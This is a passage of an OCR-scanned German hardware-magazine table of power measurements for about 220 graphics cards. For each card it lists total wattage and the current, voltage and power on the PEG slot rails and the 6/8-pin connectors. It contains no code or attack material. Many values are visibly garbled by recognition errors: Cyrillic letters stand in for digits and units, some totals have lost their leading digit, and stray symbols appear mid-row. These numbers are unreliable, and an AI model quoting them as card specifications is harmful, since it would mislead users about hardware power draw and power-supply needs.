buchse an. Eine derartige Gleichverteilung ist üblich. Auf 
Hochlast/Overclockingrekorde getrimmte Power-Designs, 
beispielsweise die einer MSI Lightning, nehmen den PEG 
sogar weitgehend aus der Gleichung. 
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Leistungsaufnahme von 220 Grafikkarten 


UD Leistung PEG 12-Volt-Leitung PEG 3,3-Volt-Leitung 6-/8-Pin-Leitung 1 6-/8-Pin-Leitung 2 
gesamt | Strom | Spannung Leistung | Strom | Spannung| Leistung | Strom | spannung | Leistung | Strom | Spannung | Leistung 
MSI R9 390X Gaming 8G 390,99 W 3,75 A 1,88 V 44,55 W 1,00 A 3,27V 3,27 W 18,10 A 11,65V | 210,87W | 11,25 A 11,76V | 132,30 W 
Asus R9 390X Strix DC30C 335,35 W 3,30 A ‚91V 39,30 W 1,05 A 3,27 V 3,43 W 14,10 A 11,76V | 165,82W | 10,70A 11,85V | 126,80 W 
MSI R9 290X Gaming 335,08 W 2,85A 1,92 V 33,97 W 2,20 A 3,16 V 6,95 W 15,70 A 11,85V | 186,05 W 9,10 A 11,88V | 108,11 W 
Asus R9 390 Strix DC30C 332,76 W 3,25 A Өтү 38,71 W ТОА 3,27 V 3,60 W 14,00 A 11,79V | 16506W | 10,60 A 11,83V | 125,40 W 
AMD R9 Fury X (Referenzdesign) 326,95 W 1,45 A 12,18 V 17,66 W 0,43 A зу 145W 13,10 A 1211V | 15864W | 12,30 A 12,13V | 149,20 W 
Gigabyte GTX 780 Ti GHz Windforce 324,51 W 4,90 A ‚34V 58,02W 115A 3,24 V 373W 11,20 A 11,89V | 133,17W | 10,90 A 11,89 V 129,60 W 
Zotac GTX 1080 Ti AMP! Extreme 318,88 W 4,60 A 11,83 V 54,42 W 0,20 A 3,31 V 0,66 W 11,50 A 11,82V | 13593W | 10,80A 11,84V | 127,87W 
AMD R9 Fury X (Referenzdesign) 317,22 W 141A 2,05V 16,99 W 0,42A 3,30V 139W 12,60 A 12,05V | 151,83W | 12,20 A 12,05 V 147,01 W 
MSI R9 290 Gaming 315,81 W 2,80 A TUS W 33,35 W 2,22 A 3,16 V 7,02W 14,80 A 11,84. V 175,23 W 8,45 A 11,86V | 100,22 W 
Asus GTX 780 Ti DirectCU Il OC 309,99 W 2,85A 11,94V 3403W 2,16A 3,18V 6,87 W 13,00A 11,85 V 154,05 W 9,70А 11,86V | 115,04 W 
Zotac GTX 980 Ti AMP Extreme 306,00 W 5,70 A 11,81 V 67,32 W 0,85 A 3,27V 2,78 W 10,10 A 11,83 V 119,48 W 9,80 A 11,88V | 116,42 W 
EVGA GTX 780 Classified ACX 303,63 W 2,72A 11,84 V 32,20 W 1,12 A 3,21V 3,60 W 11,90 A RN 140,06 W | 10,80 A 11,83V | 127,76 W 
EVGA GTX 980 Ti Classified 303,53 W 3,55 A 11,86 V 42,10W 0,95 A 3,26 V 3,10 W 11,35 A 11,74V | 133,25W | 10,60 A 11,80V | 125,08 W 
Sapphire R9 390X Tri-X OC 302,54 W 3,80A 11,89 V 45,18 W 1,10A 3,27V 3,60 W 1,80 A 11,84V | 139,71 W 9,60 A 11,88V | 114,05 W 
Sapphire R9 Fury Tri-X OC 301,03 W 1,09A 12,00 V 13,08 W 0,40 A 3,30 V 1,32 W 2,15A 11,81V | 14349W | 12,10A 11,83V | 143,14W 
MSI GTX 980 Ti Lightning * 299,90 W 0,10A 12,02 V 120W 120A 3,26 V 3,91 W 9,90 A 11,84V | 117,22 W 9,90 A 11,82V | 117,02W 
Sapphire R9 390 Nitro 297,89 W 391A 11,87 V 46,41W 1,05А 3,27% 3,43 W 1,50А 11,78V | 13547W 9,50 A 11,85V | 112,58W 
Asus GTX 980 Ti Strix ОСЗОС 296,60 W 4,10 A 11,88 V 48,71 W 0,95 A 3,27 V. 3,11W 0,90 A 11,84V | 129,06 W 9,75 A 187V | M57273 W 
Asus GTX 780 Ti Matrix Platinum 296,13W 2,40 A 11,92 V 28,61 W 1,01 A 3,24 V 3,27 W 11,40 A 11,93V | 13600W | 10,75 A 11,93V | 128,25 W 
Powercolor 290X PCS+ 293,01 W 2,70A ‚90V 32,13W 2,30 A 3,16 V 7,27W 3,70 A 11,84V | 16221W 7.70А 11,87 V 91,40 W 
ХЕХ R9 290Х Black Edition 291,27 W 2,70A 11,93 V 32,21 W 2,20А 3,17V 6,97 W 13,50 A 11,88V | 160,38 W 7.70А 11,91 91,71 W 
EVGA GTX 1080 Ti FTW3 290,30 W 3,00 A ‚87V 35,61 W 0,35 A 3,30 V 1,16 W 2,80 A 11,78V | 150,78 W 8,70 A 11,81V | 10275W 
AMD R9 290X (Referenzdesign) — ,Uber” 289,12 W 2,84А 11,82 V 33,57 W 2,16 A 3,14 V 6,78 W 13,17 A 11,92V | 156,99 W 7.70А 11,92 V 91,78 W 
Gigabyte GTX 780 GHz Edition Windforce 286,06 W 5,00 A 87у 59,35 W 1,00А 3,24 V 3,24 W 9,85 A 11953: | 3771W 8,85 A 11,95 V 105,76 W 
HIS HD 7970 X Turbo 285,92 W 2,61 A ‚86 V 30,95 W 0,88 A 3,26 V 2,87 W 10,97 A 11,85V | 129,99W | 10,33 A 11,82 V 122,10 W 
Sapphire R9 290X Tri-X OC 281,38W 2,63A 1,93 V 31,38 W 2,15A 3,18 V 6,84 W 13,10 A 11,88V | 155,63 W 7,35 A 11,91 V 87,54 W 
MSI GTX 1080 Ti Gaming X 11G 280,45 W 0,60 A 99 V 7,19 W 0,20 A 331V 0,66 W 11,10A 11,79 V | 130,87W | 12,00А 11,81V 141,72W 
Gigabyte GTX 980 Ti G1 Gaming 280,06 W 2,80A 11,93 V 33,40 W 0,85А 3,27 V 2,78 W 11,05А 11,82V | 130,61 W 9,55 A 11,86 V | 113,26 W 
Asus GTX 980 Ti Matrix Platinum 275,91 W 3,60 A 1,86 V 42,70 W 0,02 A 3,30 V 0,07 W 9,70A 11,83V | 11475W | 10,00 A 11,84V | 118,40 W 
Asus GTX 1080 Ti Strix OC 275,84 W 5,20 A 179V 61,31W 0,05A 331V 0,17 W 9,50 A 11,90V | 113,05 W 8,50 A 11,92V | 101,32 W 
Inno 3D GTX 1080 Ti iChill X3 Ultra 273,10 W 4,90 A 1,81 V 57,87 W 0,20 A зү 0,66 W 11,70А 11,91V | 139,35 W 6,30 A 11,94 V 75,22 W 
Gigabyte RX 580 Aorus XTR 268,24 W 5,60 A 1,76 V 65,86 W 1,20 A 3,27 V 3,92 W 14,10 A 11,76V | 165,82 W 2,75A 11,87 V 32,64W A 
Inno 3D GTX Titan Black X3 Ultra 267,38 W 4,42 A 11,84 V 5223W 1,11A 3123 W 3,59W 11,85A 11,87V | 140,66 W 5,95 A 11,90 V 70,81 W - 
Sapphire R9 290 Tri-X OC 266,51W 2,55 A 1,93 V 30,42 W 2,07 A 3,18 V. 6,58 W 12,35 A 11,85V | 146,35 W 7,00A 11,88 V 83,16 W & 
Asus R9 Fury Strix 262,65 W 1,00A 1201V 12,01 W 0,48 A 3,30 V 1,58 W 10,60 A 11,85V | 125,61 W | 10,40 A 11,87V | 123,45 W 3 
Zotac GTX 780 AMP! 262,61 W 5,33 A EM 62,73W 1,05 A 3,22 V 3,38 W 11,02 A 11,85V | 130,59 W 5,52 A 11,94 V 65,91 W á 
Nvidia GTX Titan Black (Referenzdesign) 262,10W 4,50 A 11,85 V 53,33 W 1,05 A 3,22 V 3,38 W 11,15 A 11,90 V 132,69 W 6,10 A 11,92 V 72,71W EH 
Club 3D HD 7970 Royal Ace 261,18 W 2,55A 11,83 V 30,17 W 102A 3,23 V 3,29 W 13,90 A 11,81 V 164,16 W 5,35A 11,88 V 63,56 W E! 
Gainward GTX 780 Ti Phantom 259,35 W 4,50 A 11,87 V 53,42 W 1,07А 3,24V 3,47 W 8,70 A 11,94 V 103,88 W 8,25 A 1195 V 98,59 W z 
Zotac GTX 1080 AMP! Extreme 259,30 W 3,30 A 11,84 V 39,07 W 0,30 A 3,31 V 0,99 w 8,80 A 11,92 V 104,90 W 9,60 A 11,91V | 114,34 W S 
= 
Radeon Vega Frontier Edition Air 258,79 W 1,77A 11,94 V 21,13W 0,35 A 3,31 V 1,16 W 10,00 A 11,83V | 118,30 W | 10,00 A 11,82V | 118,20W |+ 
Palit GTX 980 Ti Super Jetstream 255,05 W 4,50 A 11,86 V 53,37 W 0,90 A 3,28 V 2,95 W 10,90 A 11,90V | 129,71 W 5,80 A 11,90 V 69,02 W = 
KFA2 GTX 1080 Ti EXOC 253,71 W 450A 11,81V 53,15 W 0,22А 331 V: 0,73 W 11,00А 11,72V | 128,92W 6,00 A 11,82 V 70,92 W š 
e 
Palit GTX 780 Super Jetstream 253,54 W 435A 11,80 V 51,33 W 0,98 A 3,22 V 3,16 W 10,25 A 11,88V | 121,77W 6,50 A 11,89 V 77,29 W Ë 
EVGA GTX 980 Ti SC+ ACX 2.0+ 252,72 W 4,50 A 11,87 V 53,42 W 0,90 A 3,28 V 2,95 W 10,70 A 11,90V | 127,33 W 5,80 A 11,90 V 69,02 W 5 
Powercolor HD 7970 PCS+ 250,98 W 2,57А 11,86 V 30,48 W 0,93 A 3,27V 3,04 W 12,10 A 11,83 V 43,14W 6,25 A 11,89 V 74,31 W š 
S 
EVGA GTX 1080 Ti SC2 250,97 W 4,40 A 11,81 V 51,96 W 0,30 A 3,30 V 0,99W 10,80 A 11,85 V 27,98W 5,90 A 11,87 V 70,03 W S 
Gigabyte GTX 1080 Ti Aorus Xtreme 250,61 W 2,90 A ‚90V 34,51 W 0,25 A 3,31 V 0,83 W 9,60 A 11,80 V 13,28 W 8,60 A 11,86 V | 102,00 W = 
Powercolor HD 7970 PCS+ 249,71 W 2,96 A 11,85 V 35,08 W 1,05 A 3,28 V 3,44 W 10,10 A 11,86 V 19,79 W 7.70А 11,87 V 91,40 W _ 
Gainward GTX 770 Phantom 248,36 W 3,63 A ‚81V 42,87 W 0,90 A 3,26 V 2,93 W 10,90 A 11,82 V 28,84 W 6,20 A 11,89 V 73,72W š 
MSI R7970 Lightning BE 246,47 W 5,05А 11,75 V 59,34 W 0,92 A 3,25 V 2,99W 10,30 A 11,86 V | 122,16 W 5,20A 11,92 V 61,98 W Е 
3 
MSI GTX 780 Twin Frozr Gaming 245,60 W 4,88 A ‚16V 57,39 W 0,90 A 3,25 V 2,93 W 10,30А 11,85 V 22,06 W 530 A Wy 63,23 W 5 
ES 
Nvidia GTX 780 Ti (Referenzdesign) 245,08 W 420A 1,89V 49,94 W 110A 3,24 V 3,56W 10,40A 11,97V | 12449W 5,60A 11,98 V 67,09 W S 
AMD R9 290 (Referenzdesign) 244,44 W 2,36 A ‚32V 27,90 W 2,30 A 3,14 V 7,22 W 11,60 A 11,92 V 38,27 W 5,96 A 11,92 V 71,06 W E 
Inno 3D GTX 780 iChill 242,74 W 5,11 A gue 60,25 W 0,80A 3,24V 2,59 W 9,60 A 11,86 V | 113,86 W 5,55А 11,90 V 66,05 W 
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Leistung über die Stronbuchse(n) 


Leistung über den PEG-Slot 


Leistungsaufnahme von 220 Grafikkarten - Fortsetzung 


Т Leistung PEG 12-Volt-Leitung PEG 3,3-Volt-Leitung 6-/8-Pin-Leitung 1 6-/8-Pin-Leitung 2 
gesamt | Strom |Spannung | Leistung | Strom | Spannung | Leistung | Strom | spannung | Leistung | Strom | Spannung | Leistung 
Nvidia GTX Titan X (Referenzdesign) 242,51 W 4,20 A 11,91 V 50,02 W 0,97A 3,29 V 3,19 W 10,00 A 11,97V | 11970W 5,80 A 12,00 V 69,60 W 
MSI GTX 980 Ti Gaming 6G 240,44 W 2,80A 11,94V 33,43 W 1,00 A 3,28 V 3,28 W 9,10 A 11,90V | 108,29 W 8,00 A 11,93 V 95,44 W 
Powercolor RX 580 Red Devil GS 240,18 W 5,70A 11,75 V 66,98 W 1,25 A 3,27V 4,09W 9,80 A 11,82V | 115,84W | 4,50A 11,84 V 53,28 W 
Sapphire R9 380X Nitro 238,69 W 5,45 A ,I9V 64,26 W 0,60A 3,28 V 197W 8,00A 11,89V 95,121 6,50А 11,90 V 71,35 W 
Inno 3D GTX 1080 iChill X3 238,63 W 3,60A 11,84V 42,62 W 0,33 A 31V. 1,09 W 11,10А 11,79V | 130,87 W 5,40 A 11,86 V 64,04 W 
Asus R9 280X DirectCU II TOP 237,80 W 2,50A ‚94V 29,85 W 1,40 A 3,22 V 4,51 W 10,90 A 11,96 V | 130,36 W 6,10 A 11,98 V 73,08 W 
Sapphire Toxic HD 7970 Standard 237,22 W 3,35 A 11,83 V 39,63 W 0,94 A 3,26 V 3,06 W 8,66 A 11,89V | 102,97 W 7,10A 11,89 V 91,55 W 
EVGA GTX 1080 FTW 236,81 W 2,05 A ‚91V 24,42 W 0,35 A 3,31 1,16 W 10,00 A 11,93V | 119,30 W 7.70А 11,94 V 91,94W 
Gigabyte GTX 980 G1 Gaming 236,53 W 3,00A 1,994V 35,82 W 0,80 A 3,27V 2,62 W 8,80 A 11,96 V | 105,25 W UEL? 11,98 V 92,85 W 
HIS HD 7970 GHz Edition IceQ X2 236,43 W 2,47A 1,88 V 29,34 W 0,97 A 3,26 V 3,16 W 12,40 A 11,86 V | 147,06 W АЛЛА 1192y 56,86 W 
Sapphire HD 7970 Vapor-X GHz Edition 235,98 W 2,75A 11,85 V 32,59W 0,20 A 3,29 V 0,66 W 10,66 A 11,88V | 126,64 W 6,40 A 11,89 V 76,10 W 
MSI GTX 1080 Gaming X 8G 235,13 W 3,25 A 11,84 V 38,48 W 0,30 A 3321y 0,99 W 10,00 A iiw 119,50 W 6,40A 11,90 V 76,16 W 
EVGA GTX 770 SC ACX 233,24 W 3,71A 11,81 V 43,82 W 0,93 A 3,25 V 3,02 W 9,66 A 11,85 V 114,47 W 6,05 A 11,89 V 71,93 W 
MSI R9 285 Gaming 232,94 W 4,60 A 11,83 V 54,42 W 0,58 A 3,25 V 1,89 W 7,90 A 1,89 V 93,93 W 6,95 A 11,90 V 82,71 W 
PoV GTX 680 TGT Beast 230,84 W 3,65А 11,78 V 43,00 W 0,84 A 3,23 V 2,71 W 9,30 A 1,84 V 110,11 W 6,32 A 11,87 V 75,02W 
Nvidia Titan X Pascal (Referenzdesign) 230,75 W 3,90 A 11,82 V 46,10 W 0,20 A 3,31 V 0,66 W 10,25 A 176V | 120,54 W 5,40 A 11,75 V 63,45 W 
Nvidia GTX 1080 Ti (Referenzdesign) 230,38 W 3,80 A 11,88 V 45,14 W 0,25 A 3,31 V 0,83 W 10,20 A 177V | 120,05 W 5,50 A 11,70 V 64,35 W 
Zotac GTX Titan AMP! 230,07 W 4,60 A 11,76 V 54,10 W 1,10 A 325V 3,58 W 9,70 A 1,87 V | 11514W 4,80 A 11,93 V 57,26 W 
AMD R9 290X (Referenzdesign) — „Quiet" | 229,66 W 2,16 A 11,82 V 25,53W 2,70A 3,14 V 8,48 W 10,25 A 11,93V | 122,28W 6,15 A 11,93 V 7337W 
Gigabyte GTX 770 Windforce OC 225,90 W 3,97 A 1,80 V 46,85 W 0,88 A 3,26 V 2,87 W 10,60 A 179V | 124,97 W 4,30 A 11,91V 51,21W 
Asus GTX 780 DC2 OC 225,84 W 3,40 A 11,81 V 40,15 W 1,37 A Ban 4,43 W 9,10A 11,87V | 108,02W 6,15 A 11,91 V 73,25 W 
Powercolor RX 570 Red Devil 225,41 W 5,50 A 1:77 V. 64,74 W 1,10A 3,27V 3,60 W 13,20 A 190V | 157,08 W - - - 
Nvidia GTX 980 Ti (Referenzdesign) 223,86 W 391A 181V 46,18 W 0,90 A 3,26 V 2,93 W 9,67 A 11,65V | 112,66 W 5,24 A 11,85 V 62,09W 
Asus RX 580 Strix T8G 221,77W 2,90 A 1,88 V 34,45 W 0,65 A 3,30 V 2,15W 15,80 A 11,72V | 185,18 W - - 
Gigabyte GTX 970 G1 Gaming 219,55 W 3,55 A 1,83 V 42,00 W 0,72 A 3,24 V 2,33 W 10,00 A 11,91V | 119,10W | 470A 11,94 V 56,12 W 
Zotac GTX 1070 AMP! Extreme 218,74 W 3,65 A MOI 43,03 W 0,30 A 3,31 V 0,99 w 7,40 A 11,88 V 87,91 W 7,30 A 11,89 V 86,80 W 
Gainward GTX 1080 Phoenix GLH 218,73 W 3,25 A 1,84 V 38,48 W 0,35 A Sal). 1,16 W 11,50 A 11,93V | 137,20 W 3,50 A 11,97 V 41,90 W 
Asus R9 380 Strix DC2OC 217,60 W 4,50 A 11,86 V 53,37 W 0,77A 3,28 V 2,53 W 13,60 A 11,89V | 161,70 W - - - 
Sapphire R9 285 Dual-X 0C 216,78 W 439A 11,82V 51,89W 0,73A 3,24 V 2,37 W 7,10A 11,91V 84,56 W 6,53 A 11,94 V 77,97 W 
MSI R9 280X Gaming 216,74 W 2,65А DR Eu 31,61 W 1,00 A 3,25 V 3,25 W 11,00 A 11,96 V 31,56 W 4,20 A 11,98 V 50,32 W 
Sapphire RX 580 Nitro+ Limited Edition 21511W 410A 11,84V 48,54W 0,50A 3,30V 165W 11,90 A 11,85 V 41,02 W 2,00 A 11,95 V 23,90 W 
Sapphire RX 480 Nitro+ OC 8GB 214,76 W 4,20 A IV 49,43W 0,65 A 3,29 V 2,14W 13,90 A 11,74 V 63,19W - - 
Powercolor R9 280 Turbo Duo 213,87 W 2,10A 11,92 V. 25,03 W 1,02 A 3,23 V 3,29W 10,30 A 11,88 V 22,36 W 5,30 A 11,92 V 63,18 W 
Nvidia GTX Titan (Referenzdesign) 213,58 W 4,86 A ‚92V 57,93 W 0,95 A 3,25 V 3,09W 877A 12,06 V 05,77 W 3,88A 12,06 V 46,79 W 
MSI GTX 770 Gaming 211,28 W 3,22 A 11,83 V 38,09 W 0,90 A 3,25 V. 2,93 W 7,40 A 11,86 V 87,76 W 6,95 A 11,87 V 82,50 W 
MSI RX 480 Gaming X 8G 208,90 W 3,10 A ‚33V 36,67 W 1,20 A 3,26 V 3,91 W 14,30 A 11,77 V 68,31 W - - 
MSI GTX 1070 Gaming X 208,22 W 2,75A 1,87 V 32,64 W 0,33 A Spent) 1,09 W 10,60 A 11,94V | 126,56 W 4,00 A 11,98 V 47,92 W 
MSI R9 380 Gaming 4G 206,24 W 4,35 A ‚37V 51,63 W 0,60 A 3,29 V 1,97 W 6,90 A 11,92 V 82,25 W 5,90 A 11,93 V 70,39W 
MSI RX 580 Gaming X 8G 204,81 W 2,80 A 11,89 V 33,29W 1,12 A 3,28 V 3,67 W 14,20 A 11,82V | 167,84 W - - 
VTX3D HD 7950 X-Edition V3 Boost 203,94 W 2,24А 11,88 V 26,61 W 1,02A 3,26 V 3,33 W 10,55 A 11,88 V 125,33 W 4,08 A 11,93 V 48,67 W 
VTX3D HD 7870 Black Boost Edition 201,87 W 4,36 A 11,82 V 51,54W 0,74A 3,26 V 2,41 W 6,21А 11,90 V 73,90 W 621A 11,92V 7402W 
MSI GTX 970 Gaming 4G 201,04 W 471A 11,76 V 55,39 W 0,77A 3,24 V 2,49W 6,80 A 1,93 V 81,12W 5,20 A 1193 V 62,04 W 
Nvidia GTX 780 (Referenzdesign) 200,85 W 4,19 A 11,91 V 49,90 W 0,99 A 3,25 V 3,22 W 832 A 2,04 V 100,17 W 3,95 A 12,04 V 47,56 W 
MSI GTX 980 Gaming 4G 200,70 W 2,85 A 11,87 V 33,83 W 1,70 A 3,19 V 5,42 W 6,80 A 191V 80,99 W 6,75А 11,92 V 80,46 W 
Asus R9 280 Strix ОС 199,74 W 191A 11,92V 22,77 W 1,30 A 3,21 V 4,17 W 9,40 A 191V | 111,95 W 5,10A 11,93 V 60,84 W 
Asus GTX 1080 Strix OC 198,86 W 3,40 A 11,79 V 40,09 W 0,29 A 3231Y 0,96 W 7,90 A 1,96 V 94,48 W 5,30 A 11,95 V 63,34 W 
Asus R9 Nano White 198,21 W 1,10 A 11,99V 13,19 W 0,50 A 3,31 V 1,66 W 15,50 A 11,83V | 183,37 W - - - 
Powercolor RX 480 Red Devil 97,62 W 150A 1,92 V 17,88 W 1,30 A 3,26 V 4,24 W 15,00 A 170V | 175,50 W - - - 
EVGA GTX 980 Superclocked 197,08 W 4,85 A 12,12 V 58,78 W 0,70 A 3,32 V 2,32 W 5,65 A 12,17 V 68,76 W 5,50 A 12,22 V 67,21 W 
Zotac GTX 980 AMP Omega 95,85 W 1,65 A 1,92 V 19,67 W 0,85 A 3,24 V 2,75W 8,10А 1,87 V 96,15 W 6,50 A 11,89 V 77,29 W 
HIS HD 7950 IceQ X? iPower 195,12 W 2,36 A 1,95 V 28,20 W 0,92 A 3,25 V 2,99W 9,90 A 11,96V | 118,40 W 3,80 A 11,98 V 45,52 W 
Sapphire RX 470 Nitro+ 4D5 OC 94,61 W 4,15 A 1,84 V 56,24W 0,60 A 3,30 V 1,98 W 11,50 A 11,86 V | 136,39 W - - 
EVGA GTX 680 Classified 94,04 W 2,80 A 1,85 V 33,18W 0,93 A 3,26 V 3,03 W 6,83 A 11,88 V 81,14W 6,45 A 11,89 V 76,69 W 
Asus GTX 770 DC20C 93,61 W 167A 1,88 V 19,84 W 0,80 A 3,26 V 2,61W 9,90 A 11,82V | 117,02W 4,55 A 11,90 V 54,15 W 
MSI N680GTX Lightning 93,38 W 0,41 A 1,89 V 4,87 W 0,95 A 323V 3,07 W 8,80 A 11,84V | 104,19 W 6,85 A 11,86 V 81,24W 
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E Leistung PEG 12-Volt-Leitung PEG 3,3-Volt-Leitung 6-/8-Pin-Leitung 1 6-/8-Pin-Leitung 2 
gesamt | Strom |Spannung | Leistung | Strom |Spannung | Leistung | Strom | Spannung | Leistung | Strom | Spannung | Leistung 
XFX R9 380X DD Black Edition OC 191,54 W 4,20 A 1,90 V 49,98 W 1,50 A 3,26 V 4,89 W 6,00 A 11,97 V 71,82 W 5,40 A 12,01 V 64,85 W 
Asus GTX 680 DC2-4GD5 90,61 W 455A ,91V 53,74W 0,90 A 3,26 V 2,93 W 5,45 A 11,89 V 64,80 W 5,80 A 11,92 V 69,14W 
Inno 3D GTX 1070 iChill X3 189,91 W 450A 172V 52,74W 0,20 A SS 0,66 W 11,50 A 11,87V | 136,51 W - - 
Sapphire HD 7870 XT with Boost 88,59 W 3,99 A ‚33V 47,20 W 0,79 A 3,27V 2,58 W 5,83 A 11,92 V 69,49 W 5,81 A 11,93 V 69,31 W 
Sapphire R9 285 ITX Compact 87,66 W 433A 11,83V 51,22 W 0,72А 3,24 V 2,33 W 11,25А 11,92V | 134,10W - - 
Gainward GTX 970 Phantom 87,31 W 4,95 A ‚94V 59,10 W 0,71A 3,30 V 2,34W 6,25A 12,09 V 75,56 W 415A 212V 50,30 W 
Sapphire R9 280 Dual-X OC 85,05 W 471A 11,80V 55,58W 0,75A 3,25 V 2,44 W 6,45 A 11,92 V 76,88 W 4,20 A 11,94 V 50,15 W 
Gigabyte RX 470 G1 Gaming 4G 84,16 W 4,50 A ‚35V 53,33 W 1,20 A 3,28 V 3,94 W 10,70 A 11,86 V | 126,90 W - - - 
Asus GTX 980 Matrix Platinum 183,67 W 1,83 A 11,98 V 21,92 W 1,00 A 3,28 V 3,28 W 7,05 A 11,96 V 84,32 W 6,20 A 1,96 V 74,15W 
Asus GTX 760 DirectCU H OC 182,21 W 3,10 A 11,85 V 36,74 W 0,90 A 3,24 V 2,92 W 12,00 A 11,88 V 142,56 W - - - 
Gigabyte HD 7950 Windforce 3x 181,87 W 2,07A 11,89 V 2461W 0,87 A 3,26 V 2,84 W 8,40 A 11,85 V 99,54 W 4,60 A 1,93 V 54,88 W 
MSI N670GTX Power Edition OC 179,87 W 2,40 A 11,83 V 28,39 W 0,83 A 3,24 V 2,69 W 7,16A 11,87 V 84,99 W 5,37 A 1,88 V 63,80 W 
MSI R9 270X Hawk 179,13 W 4,40 A 11,88 V 52,27 W 1,80 A 3,20 V 5,76W 5,65 A 11,99 V 67,74W 4,45 A 11,99 V 53,36 W 
Asus RX 480 Strix OC 78,24 W 3,05 A 11,83 V 36,08 W 0,60 A 3,29 V 1,97W 11,80 A 11,88V | 140,18 W - - 
Palit GTX 760 Jetstream 178,07 W 4,50 A 11,82 V 53,19 W 0,90 A 3,24 V 2,92 W 5,60 A 11,89 V 66,58 W 4,65 A 11,91V 55,38 W 
Gainward GTX 760 Phantom 73,65 W 4,70A 11,81 V 55,51 W 0,88 A 3,24 V 2,85 W 5,64 A 11,89 V 67,06 W 4,05 A 11,91V 48,24 W 
Inno 3D GTX 660 Ti iChill Herculez 3000 171,92 W 3,25 A 11,84. V 38,48 W 0,81 A 3,27 V 2,65 W 6,50 A 11,89 V 77,29W 4,50 A 11,89 V 53,51 W 
Nvidia GTX 1080 (Referenzdesign) 71,25 W 3,15 A 11,88 V 37,42 W 0,20 A 3,31 V 0,66 W 11,20 A 11,89V | 133,17W - - - 
Palit GTX 1070 Game Rock Premium 71,18 W 3,80 A 11,81 V 44,88 W 0,25 A 3,31 V 0,83 W 10,50 A 11,95V | 125,48W - - - 
Powercolor R9 270X PCS+ 71,04 W 4,50 A ‚81V 53,15 W 0,83 A 3,23 V 2,68 W 5,15 A 1493 V 61,44 W 450A 11,95V 53,78W 
MSI GTX 760 Twin Frozr Gaming 68,70 W 2,25 A 11,88V 26,73W 0,90 A 3,24 V 2,92 W 6,40 A 11,88 V 76,03 W 5,30 A 11,89 V 63,02 W 
Asus GTX 1070 Strix OC 67,26 W АЛ5А ‚IV 55,62W 0,15 A 3,32 V 0,50 W 9,30 A 11,95V | 111,14 W - - 
Sapphire R9 270X Toxic 166,12 W 3,70 A 11,90 V 44,03 W 0,88 A 3,25 V 2,86 W 6,65 A 11,98 V 79,67 W 3,30 A 11,99 V 39,57 W 
Nvidia GTX 770 (Referenzdesign) 65,54 W 3,43 A ‚91V 40,85 W 0,69 A 3,25 V 2,24W 6,49 A 12,04 V 78,14W 3,68 A 12,04 V 44,31 W 
Asus GTX 970 Strix 64,54 W 3,95 A 81у 46,65 W 0,70A 3,24 V 2,27W 9,70A 11,92V | 115,62 W - - - 
MSI R7870 Hawk 164,38 W 3,76 A 1,84 V 44,52 W 0,90 A BV 2,94 W 470A 193V. 56,07 W 5,10A 11,93 V 60,84 W 
Asus HD 7850 DirectCU II Top 164,38 W 3,98 A ‚94V 47,52 W 1,71A 3,22 V. 551W 931A 11,96V | 111,35 W E E 
Nvidia GTX 970 (Referenzdesign) 163,64 W 3,95A 11,81V 46,65 W 0,76A 3,24V 2,46 W 9,60 A 11,93V | 114,53 W - - - 
Nvidia GTX 980 (Referenzdesign) 162,94 W 411A 1,80 V 48,50 W 0,85 A 3,24 V 2,75W 4,70 A 11,94 V 56,12 W 4,65 A 11,95 V 55,57 W 
PNY GTX 760 XLR8 162,87 W 4,50 A 1,82 V 53,19 W 0,94 A 3,24 V 3,05 W 4,85 A 11,91 V 57,76 W 4,10A 11,92 V 48,87 W 
Asus HD 7950 DC2T V2 162,47 W 2,15A 1,88 V 25,54W 1,20А 3,23 V 3,88 W 6,20 A 11,88 V 73,66 W 5,00 A 11,88 V 59,40 W 
Asus GTX 670 Direct CU Mini 161,82 W 3,20 A 1,86 V 37,95 W 0,88 A 3,27 V 2,88 W 10,15 A 11,92V | 120,99 W - - 
AMD RX 480 (Referenzdesign) 160,89 W 6,50 A 11,67 V 75,86 W 1,25 A 3,29 V 4,11 W 6,80A 11,90 V 80,92 W - - 
MSI GTX 660 Ti Power Edition/OC 160,85 W 2,15A 187V 2552W 081A SEI 2,65 W 6,40А 11,90 V 76,16 W 475A 11,90 V 56,53 W 
EVGA GTX 670 FTW Signature 2 160,63 W 3,41 A 11,85 V 40,41 W 0,86 A 3,26 V 2,80 W 5,00 A 11,94 V 59,70 W 4,83 A 11,95V 57,72 W 
HIS RX 470 IceQ X2 Turbo 160,28 W 5,10А 1,82 V 60,28 W 1,00 A 3,28 V 3,28 W 8,10 A 11,94 V 96,71 W - - 
HIS R9 270X IceQ X2 Turbo 157,20 W 3,50 A TOS Ww 41,69 W 0,85A 3,25 V 2,76W 4,80 A 11,99 V 57,55 W 4,60 A 12,00 V 55,20 W 
Powercolor HD 7950 PCS+ 153,50 W 2,70A 11,86 V 32,02 W 0,80 A 3,24 V 2,59 W 5,70A 11,88 V 67,72W 4,30 A 11,90 V 51,17W 
Gigabyte GTX 1060 G1 Gaming 152,75 W 1,95 A 11,89 V 23,19W 0,22 A 3,31 V 0,73 W 10,90 A 11,82 V 128,84 W - - 
VTX3D HD 7950 X-Edition 150,08 W 2,50 A 11,85 V 29,63 W 0,78 A 327V 2,55 W 5,66 A 11,88 V 67,24W 4,25 A 11,92 V 50,66 W 
Asus GTX 970 Direct CU Mini OC 148,02 W 2,95 А 11,97 V 35,31 W 0,77A 3,30 V 2,54W 9,15 A 1204V | 110,17 W - - 
Nvidia GTX 1070 (Referenzdesign) 47,87W 5,15A 11,78 V 60,67 W 0,33 A 3,31 V 1,09 W 7,20А 11,96 V 86,11 W - - 
Gigabyte GTX 1060 Aorus XE 9Gbps 47,171 W 2,45 A 1191 V 29,18 W 0,22А ES? 0,73 W 10,00 A 11,78V | 117,80 W - - 
XFX RX 470 RS Black Edition 47,01 W 5,05А 11,82 V 59,69 W 0,95 A 3,28 V 3,12 W 7,10A 11,86 V 84,21 W - - 
Asus GTX 1060 Strix OC 145,19 W 3,75 A IS 44,06 W 0,15 A 3,31 V 0,50 W 8,40 A 11,98V | 100,63 W - - 
Gigabyte GTX 960 Windforce OC 44,85 W 3,57А 11,95 V 42,66 W 0,60 A злу 1,99 W 3,55 A 12,00 V 42,60 W 4,80 A 12,00 V 57,60 W 
Nvidia GTX 760 (Referenzdesign) 44,55 W 3,96A 11,91V 47,16 W 0,66 A 3,25 V 2,15W 4,37 A 12,04 V 52,61 W 3,54 A 12,04 V 42,62 W 
